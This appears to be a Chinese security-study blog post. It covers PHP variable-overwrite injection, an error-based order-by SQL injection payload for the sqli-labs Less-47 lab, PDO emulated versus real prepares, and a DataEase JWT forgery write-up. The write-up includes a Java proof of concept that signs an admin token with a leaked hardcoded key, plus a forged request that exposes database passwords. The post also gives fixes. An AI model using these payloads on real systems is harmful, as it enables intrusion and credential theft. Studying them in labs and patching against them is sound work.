sql注入笔记总结

php全局参数污染注入

环境搭建

官方下载链接:https://github.com/top-think/think/tree/v5.1.15

官方下载链接 :https://github.com/top-think/framwork/tree/v5.1.15

framework(下载后改文件名为phpthink ,放入think文件夹里,一并放入www文件里)

如果github访问不了,网络延时了:刷新 DNS 缓存 + 重新解析

Windows :按Win+R输入cmd,依次执行两条命令(回车执行,无需管理员):

复制代码
ipconfig /flushdns
nslookup github.com

执行后会显示新的 GitHub 解析 IP,再刷新网页即可。

危险示例(存在参数污染漏洞)

php 复制代码
<?php
// 模拟业务逻辑:定义用户权限变量
$is_admin = false;
$user_id = 100;

// 错误做法:遍历$_REQUEST并覆盖全局变量
foreach ($_REQUEST as $key => $value) {
    $$key = $value; // 变量变量:$$key会把key作为变量名,value作为值
}

// 业务逻辑:判断是否为管理员
if ($is_admin) {
    echo "管理员操作:删除用户ID={$user_id}";
} else {
    echo "普通用户,无权限";
}
?>

攻击方式 :请求http://xxx.com/test.php?is_admin=1&user_id=999,原本$is_admin=false会被覆盖为1$user_id=100被覆盖为999,攻击者直接以管理员身份删除指定用户。

php 复制代码
<?php
// 模拟业务逻辑:定义用户权限变量
$is_admin = false;
$user_id = 100;

// 安全做法1:只接收允许的参数,拒绝未知参数
$allowed_params = ['page', 'size']; // 仅允许这2个参数
foreach ($_REQUEST as $key => $value) {
    if (in_array($key, $allowed_params)) {
        $$key = $value; // 仅覆盖允许的变量
    }
}

// 安全做法2:使用extract时指定过滤规则
// extract($_GET, EXTR_SKIP); // EXTR_SKIP:如果变量已存在,跳过不覆盖
// 或 EXTR_PREFIX_ALL:给所有变量加前缀,避免覆盖
// extract($_GET, EXTR_PREFIX_ALL, 'req'); // 变量变为 $req_username

// 业务逻辑:判断是否为管理员(核心变量不允许被覆盖)
if ($is_admin) {
    echo "管理员操作:删除用户ID={$user_id}";
} else {
    echo "普通用户,无权限";
}
?>

总结:PHP 全局参数污染注入的核心是变量被请求参数非法覆盖,根源是不规范的变量使用或危险配置开启;

最危险的场景是register_globals开启、extract()滥用、遍历$_REQUEST覆盖全局变量;

防护核心是:禁用危险配置 + 白名单接收参数 + 显式初始化变量 + 核心变量不允许被外部参数覆盖。

pdo预编译与 SQL 注入

  • 核心原则:预编译是将 SQL 语句参数化,能有效防范 SQL 注入。
  • 例外情况order bygroup by 这类子句无法直接参数化,存在注入风险。

order by 注入相关要点

  1. 注入风险来源order by 后的排序字段通常直接拼接字符串,无法用预编译参数,容易被注入。
  2. 常见利用手法
    • 报错注入 :利用 updatexml()extractvalue() 等函数,结合 concat() 拼接恶意语句,触发数据库报错以获取信息。
    • 布尔盲注:通过构造条件判断,根据页面返回结果的差异来推断数据。
  3. 防御难点 :预编译无法直接处理 order by 后的字段名,需要额外做输入校验或映射处理,比如:
    • 维护一个合法字段名的白名单。
    • 将用户输入映射为对应的索引或字段名,而非直接拼接.

对应关卡47关

复制代码
http://192.168.0.102/sqlilabs/Less-47/?sort=1

要绕过order by ,用updatexml(1,concat(0x7e,user(),0x7e),1)

复制代码
http://192.168.0.102/sqlilabs/Less-47/?sort=1%27%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--+

真假预编译

1.开启数据库日志

sql 复制代码
mysql> show variables like 'general%';
ERROR 2013 (HY000): Lost connection to MySQL server during query
No connection. Trying to reconnect...
Connection id:    8
Current database: *** NONE ***

+------------------+--------------------------------------------------------+
| Variable_name    | Value                                                  |
+------------------+--------------------------------------------------------+
| general_log      | OFF                                                    |
| general_log_file | D:\phpstudy\PHPTutorial\MySQL\data\LAPTOP-K05T4P6I.log |
+------------------+--------------------------------------------------------+
2 rows in set (2.06 sec)

mysql> set global general_log=1;
Query OK, 0 rows affected (0.03 sec)

mysql> show variables like 'general%';
+------------------+--------------------------------------------------------+
| Variable_name    | Value                                                  |
+------------------+--------------------------------------------------------+
| general_log      | ON                                                     |
| general_log_file | D:\phpstudy\PHPTutorial\MySQL\data\LAPTOP-K05T4P6I.log |
+------------------+--------------------------------------------------------+
2 rows in set (0.00 sec)

mysql>
php 复制代码
<?php
$username = $_GET['username'];

$db = new PDO("mysql:host=localhost;dbname=security", "root", "root");

$stmt = $db->prepare("SELECT password FROM users where username= :username");

$stmt->bindParam(':username', $username);

$stmt->execute();

$result = $stmt->fetchAll(PDO::FETCH_ASSOC);

var_dump($result);

$db = null;

?>

虚假的预编译:没有预编译和参数绑定,和正常的查询一样唯一不同就是将参数自动加上单引号,在底层将单双引号自动转义

真正的预编译:加一个参数

php 复制代码
<?php
$username = $_GET['username'];

$db = new PDO("mysql:host=localhost;dbname=security", "root", "root");
$db -> setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

$stmt = $db->prepare("SELECT password FROM users where username= :username");

$stmt->bindParam(':username', $username);

$stmt->execute();

$result = $stmt->fetchAll(PDO::FETCH_ASSOC);

var_dump($result);

$db = null;

?>

无论在后面加什么,都会当作username

预编译其实是为了提高MySQL的运行效率而诞生(而不是为了防止sql注入),因为它可以先构建语法树然后带入查询参数,避免了一次执行一次构建语法树的繁琐,对于数据量以及查询量较大的数据库能极大提高运行效率。

没有参数绑定就没有预编译.

dataease-jwt伪造

一、漏洞核心背景

DataEase 作为开源数据可视化工具,其身份认证依赖 JWT(JSON Web Token)机制,而数据源管理模块提供了 hidePw 接口用于查询数据源详情。本次发现的漏洞组合,正是利用了 JWT 验证逻辑缺陷与接口密码隐藏机制漏洞,形成了无权限到获取核心数据的完整攻击路径。

二、关键漏洞拆解

1. JWT 签名绕过漏洞(漏洞核心)

漏洞位置
  • 验证入口:sdk\common\src\main\java\io\dataease\auth\filter\TokenFilter.java
  • 核心逻辑:sdk\common\src\main\java\io\dataease\utils\TokenUtils.java
漏洞原理

JWT 验证的核心是「解码 + 签名校验」,但 DataEase 的 TokenUtils.validate() 方法仅调用 JWT.decode(token) 进行 Base64 解码,未执行任何签名验证操作。正常的 JWT 验证需使用 JWT.require(algorithm).build().verify(token) 同时完成解码与签名校验,这一省略直接导致攻击者可伪造任意 JWT 令牌。

漏洞加剧:硬编码密钥与管理员 ID

SubstituteLoginServer 类中,系统硬编码了管理员配置:

  • 管理员 ID:userId=1L
  • 加密密钥:md5Pwd="83d923c9f1d8fcaa46cae0ed2aaa81b5"攻击者可直接使用该密钥生成符合格式的管理员 JWT,无需破解。

2. hidePw 接口明文密码泄露漏洞

接口功能

/hidePw/{datasourceId} 接口(GET 请求)用于查询数据源详情,设计初衷是隐藏返回结果中的密码字段。

漏洞原理

密码隐藏逻辑仅对 urlType="jdbcUrl" 的配置生效:

  1. 接口通过 datasourceMapper.selectById(datasourceId)core_datasource 表查询完整配置(含明文密码);
  2. hidePw=true 时,调用 CalciteProvider.hidePw() 尝试隐藏密码,但仅处理 JdbcUrl 中携带的密码参数;
  3. 若数据源配置的 urlType 为空或非 jdbcUrl,密码隐藏逻辑直接跳过,原始配置(含明文密码)经 Base64 编码后返回客户端。
泄露效果

解码返回结果中的 configuration 字段(Base64 格式),可直接获得数据库明文信息:

php 复制代码
{
  "dataBase": "dataease",
  "password": "root",
  "port": "3306",
  "host": "localhost",
  "username": "root"
}

三、完整攻击链演示

1. 伪造管理员 JWT

使用硬编码密钥生成包含管理员信息的 JWT,POC 代码如下:

java 复制代码
import com.auth0.jwt.JWT;
import com.auth0.jwt.algorithms.Algorithm;

public class JwtPoc {
    public static void main(String[] args) {
        String secret = "83d923c9f1d8fcaa46cae0ed2aaa81b5"; // 硬编码密钥
        Algorithm algorithm = Algorithm.HMAC256(secret);
        String token = JWT.create()
                .withClaim("uid", 1L) // 管理员ID
                .withClaim("oid", 1L)
                .withClaim("exp", 999999999999L) // 超长过期时间
                .sign(algorithm);
        System.out.println("X-DE-TOKEN: " + token);
    }
}

2. 构造恶意请求

携带伪造的 JWT 访问 hidePw 接口,请求示例:

java 复制代码
GET /de2api/datasource/hidePw/985188400292302848 HTTP/1.1
Host: target.com
X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjo5OTk5OTk5OTk5OTk5fQ.okytuC1KBAhow_CutbQSSE9ILJWhbITer__cY

3. 漏洞触发与结果获取

  1. TokenFilter 拦截请求后,调用 TokenUtils.validate() 验证令牌,因未校验签名,伪造令牌通过验证;
  2. 系统设置当前用户为管理员(uid=1),允许访问敏感接口;
  3. 接口返回数据源配置,其中 configuration 字段包含 Base64 编码的明文密码;
  4. 攻击者解码后获得数据库账号密码,实现非法访问。

四、漏洞危害等级与影响

  • 危害等级:严重(CVSS 评分 ≥ 9.0)
  • 影响范围:使用存在缺陷版本的 DataEase 平台
  • 核心风险
    1. 攻击者无需授权即可伪造管理员身份;
    2. 窃取所有数据源明文账号密码;
    3. 进一步入侵数据库,窃取、篡改核心业务数据;
    4. 横向渗透平台其他功能模块。

五、应急防护方案

1. 修复 JWT 签名验证漏洞

  • TokenUtils.userBOByToken() 方法中添加签名校验逻辑,示例:

    java 复制代码
    Algorithm algorithm = Algorithm.HMAC256(secret); // 密钥需安全存储,避免硬编码
    JWT.require(algorithm).build().verify(token); // 解码+签名校验
  • 移除代码中的硬编码密钥与管理员 ID,改为动态配置或从安全存储中读取。

2. 修复 hidePw 接口密码泄露

  • 优化 CalciteProvider.hidePw() 逻辑,覆盖所有类型的密码存储场景,而非仅处理 JdbcUrl;
  • 对数据源配置中的密码字段统一进行脱敏处理,避免明文传输;
  • 限制 hidePw 接口的访问权限,仅允许超级管理员或数据源创建者访问。

3. 临时应急措施

  • 禁用 hidePw 接口或限制接口访问 IP;
  • 更换数据库账号密码,避免凭据泄露导致二次攻击;
  • 审计 JWT 密钥使用情况,立即更换硬编码密钥。

六、总结

本次漏洞的核心在于「基础安全机制缺失」:JWT 签名验证的省略让身份认证形同虚设,密码隐藏逻辑的不完善则直接泄露核心凭据。这类漏洞在开源项目中较为常见,本质是开发者对安全机制的理解不充分或追求功能快速实现而忽略安全细节。

建议在使用 JWT 时,务必遵循「编码 + 签名校验 + 过期时间」的完整验证流程;涉及敏感数据返回时,需覆盖所有场景的脱敏处理,同时避免硬编码密钥、管理员 ID 等敏感信息。对于已部署 DataEase 的用户,应尽快排查版本是否存在相关漏洞,及时应用修复补丁,防范恶意攻击。

相关推荐
OnYoung2 小时前
实战:用OpenCV和Python进行人脸识别
jvm·数据库·python
qq_417129252 小时前
Python深度学习入门:TensorFlow 2.0/Keras实战
jvm·数据库·python
独自破碎E2 小时前
【滑动窗口】最小覆盖子串
java·开发语言
YIN_尹2 小时前
【MySQL】增删查改的艺术——数据库CRUD完全指南(上)
数据库·mysql
好学且牛逼的马2 小时前
【手写Easy-Spring|1】
java·后端·spring
今天多喝热水2 小时前
Lua脚本实现滑动窗口
java·开发语言·lua
zhengfei6112 小时前
sqligo - 轻松检测和利用 SQL 注入漏洞
数据库·sql
没有bug.的程序员2 小时前
Spring Cloud Gateway:API网关限流与熔断实战
java·开发语言·数据库·spring boot·gateway·api·springcloud
OnYoung2 小时前
用Python实现自动化的Web测试(Selenium)
jvm·数据库·python